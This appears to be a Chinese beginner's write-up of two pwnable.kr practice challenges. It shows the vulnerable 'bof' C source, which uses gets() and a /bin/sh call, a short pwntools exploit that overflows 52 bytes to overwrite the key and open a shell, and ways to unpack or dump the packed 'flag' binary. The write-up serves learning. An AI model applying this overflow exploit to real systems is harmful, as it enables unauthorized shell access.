小白pwn之旅之pwnable02

pwnable----bof和flag

bof是溢出
flag是加了壳

bof

在这里插入图片描述

  1. 直接访问上面的两个网址,下载bof和bof.c。用file bof查看bof文件,并用IDA打开

在这里插入图片描述
2.查看源代码bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

3.分析

1.首先看main,将func传入了0xdeadbeef。看func函数,直接看到了/bin/sh(这个,太香了~),看判断条件要将传入的数key===0xcafeebabe
2.我们就要找覆盖多少地址才能将0xdeadbeef改成0xcafebabe,就能getshell,直接在IDA上查找func函数看到地址为0x2c和0x8,相和为52.

4.exp编写

from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52 + p32(0xcafebabe))
p.interactive()

在这里插入图片描述

看到flag

flag

1.看题发现只有一个文件,怎么办嘛,看看文件属性file flag,发现加了壳了,用upx -d 解压,在在IDA上就能看到flag ,但我在网上还看到另一种解法写下

2.先用strace ./flag 调试一下看到一行就是运行flag文件,在看到brk然后就是一些写,最后显示结果I will…,最后退出
在这里插入图片描述
我们在用gdb调试一下
在这里插入图片描述
在最后退出的时候我们catch它,在r运行让它报错
在将用core 保存起来
这个时候我们查看我们的core
最后在strings flag-core

在这里插入图片描述
最后在strings flag-core

在这里插入图片描述

最后在茫茫代码看到:)这个就是flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值